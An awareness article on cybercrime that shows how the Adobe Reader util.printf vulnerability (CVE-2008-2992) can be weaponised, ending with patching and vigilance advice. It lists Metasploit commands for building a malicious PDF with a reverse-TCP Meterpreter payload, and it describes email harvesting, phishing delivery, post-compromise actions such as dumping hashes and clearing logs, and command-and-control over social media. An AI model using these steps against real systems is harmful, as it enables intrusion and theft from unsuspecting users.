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Cyber Crimes - Where it is going? 

Exploiting Software Product Vulnerabilities 

 

1. Cyber crimes are today more organized and make use of common exploits which are easily 
available in the internet. Cyber attacks are now moving away from server side to client side 
attacks. Since, most of internet users are not aware of the kind of attacks that can be mounted 
on their systems, they are most vulnerable. The attackers leverage upon these soft targets, and 
compromise their systems and then use them to target attack on the organization network. 
According to CISCO 2009 Annual Security Reporti, there has been a rapid rise in new malware 
instances and web is used as a significant attack vector for malware distribution. Attackers make 
use of known vulnerabilities of software products, commonly used in the enterprise to implant 
malwares. According to Cisco Security Intelligence Operations, one in every 600 PDF files 
downloaded from the web contains malicious software. In this article, we have tried to 
showcase how a commonly known PDF vulnerability can be exploited to implant malwares and 
can be used to compromise a machine and the network, where it resides. 

 

2. Remote overflow vulnerability in Adobe Reader and Adobe Acrobat was first reported on 27th 
May 2008 to Adobe and the same was acknowledged by the vendorii. The Common 
Vulnerabilities and Exposures (CVE), a Standard for Information Security Vulnerability Names 
defined the vulnerability under CVE-2008-2992iii. According to which “A Stack-based buffer 
overflow in Adobe Acrobat and Reader 8.1.2 and its earlier versions, allows remote attackers to 
execute arbitrary code via a PDF file that calls the util.printf JavaScript function with a crafted 
format string argument. 

Adobe disclosed this vulnerability on 04th Nov 2008 and its Exploit was published at various 
websites on the same day. The Exploit classifies the vulnerability as follows: 

Location: Remote / Network Access  
Attack Type: Input Manipulation  
Impact: Loss of Integrity  
Solution: Upgrade  
Exploit: Exploit Public  
Disclosure: OSVDB Verified, Vendor Verified 

 

 

3. Using a common Metasploitiv Framework version 3.x, (an Open Source framework) exploits of 
this known vulnerability can be created. These frameworks usually have comprehensive 
documentation and videos on using the exploitv. The framework can be used to implant malware 
in the PDF file through the known vulnerability and can then be used to compromise a machine. 

• Using the metasploit fileformat mixin, a malicious PDF file can be created to exploit 
the util.printf() vulnerability (CVE 2008-2992) 

( msf > useexploit/windows/fileformat/adobe_utilprintf) 
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• Generally, the name of the PDF file is set so that it is convincing enough to attract 
victim 

(msf > set FILENAME innocent_looking_pdf_file.pdf) 
 

• Set the attacker’s IP Address on which the exploit will connect after execution 

(msf > set LHOST 192.168.1.60) 
 

• Set the required PAYLOAD (type of access you want to gain on target system). In this 
case we can obtain Meterpreter shell after the exploit gets executed 

(Msf >set PAYLOAD windows/meterpreter/reverse_tcp) 
 

• Set up the handler to catch the callbacks 

 
 
 

4. This Malware PDF file which is created can be sent to strategic targets to exploit their machines. 

4.1. The first step in this process is to find e-mail Ids of the targets.  

• Search engines are the best sources of finding email Ids of people working in an 
organization 

• People often use their email Ids to login on to sites/forum which is public   

• Organization often put the employee’s email Id on their website in html format 
which could be easily harvested using automatic tools. 

There are lot of open source tool available commonly known as “E-Mail Harvester”, which 
can be used to find the E-mail IDs of Victims. 

4.2. Once the e-mail IDs are available, the malware PDF file, is sent to victim machine, the e-
mail sent is convincing enough to attract a victim for opening the PDF attachment.  
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4.3. As soon as the malware PDF file is executed on victim’s machine, it would make a 
connection to attacker’s machine. The attacker’s machine will have a connection listener, 
which would accept the Command shell or Meterpreter shell of the victim’s machine. The 
Attacker will now have the same level of privilege as victim had on his machine, and if the 
victim is using the administrative privilege the same will be assigned to the attacker as 
well. 

4.4. Once the attackers get the shell access, he can compromise the complete system and 
even, its connected network, if appropriate privileges are available. The attacker can: 

• View the list of processes that are running on victim machine 

• Access the Command shell on his remote machine 

• Get access to Login Hashes of all the users on Victim machine 

• Kill Anti Virus, Upload or Download or even execute any file on victim machine 

• Change the file attributes – date, time etc.  

• Modify registry values - Registry is the database of Operating System- if 
compromised, will lead to malicious activities without the knowledge and consent of 
the user – e.g. A trojan can be initiated during the boot process itself which may 
compromise the connected network of the organization  

• Also Clear the logs- Anti Forensics and many more… 

4.5. The attacker can even install a Backdoor Agent at the victim Machine permanently which 
stays even after the re-boot; this agent can be programmed, so that it communicates with 
commonly used social networking sites like Facebook, MySpace,Twitter, Orkut, or even 
exploit Web2.0 application features- blogs, comments, etc.. The attacker can post codes 
through these applications which are essentially executable commands to send 
instructions to the agent installed on the victim’s machine. These commands can further 
be programmed to transfer critical files from victim machine, by uploading them to 
attacker’s webmail. The attacker can thus, exploit victim machine, without a direct 
connection and by just posting messages (which are essentially commands) on any third 
party application.  

Further, it is interesting to note that since web-mails or social networking/blogging sites 
are legitimate sites, these cannot be flagged even by security tools like IPS/IDS or firewalls 
(unless these sites are blocked). In some exceptional cases, where organization finds that a 
particular machine is getting compromised, they will only be able to track the logs of the 
machines to these legitimate social networking, blogging sites or web-mails. After that 
companies or even government agencies will be at the mercy of the application service 
providers for support in the forensic investigations. 

 

5. The open source exploit framework’s that can be easily accessed over the internet are so 
efficient that some of the best anti viruses are not able to detect that the PDF file contained 
malware. This is surprising, as it is expected that almost all the anti-virus solution should have 
the signatures to detect such kind of virus, which was created by exploiting a vulnerability that is 
almost 18 months old.  

The malware PDF file was scannedvi against many anti-virus solutions and it was found that only 
33.34% (13/39) anti-virus software could detect that the file was infected with the malware.  
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6. Many of these exploit frameworks are open source, and are easily accessible over the internet 
and have thus made hacking/cracking very effortless, especially for those who have little or no 
expertise to write and execute their own exploit. Everything in these frameworks is well 
packaged in a single tool. Further, these exploits are updated regularly from the open source 
researcher community all over the world. 

 

7. End users and Enterprises need to be more cautious and vigilant about the latest vulnerabilities 
that are notified by CVE or NVD or CERT of the countries regularly. Organizations need to keep 
track of these vulnerabilities and update their system regularly. Users need to be vigilant about 
installing the latest versions of application software because new versions will contain the latest 
security patches. Though, the best practice is to have the latest software products versions, but 
at least having n-1 versions, where n is most latest version will also reduce the possibility of such 
attacks considerably.  Further, following basic security measures of not using administrative 
privileges; having updated anti-virus and firewall programs will also reduce the risk of getting 
compromised.  
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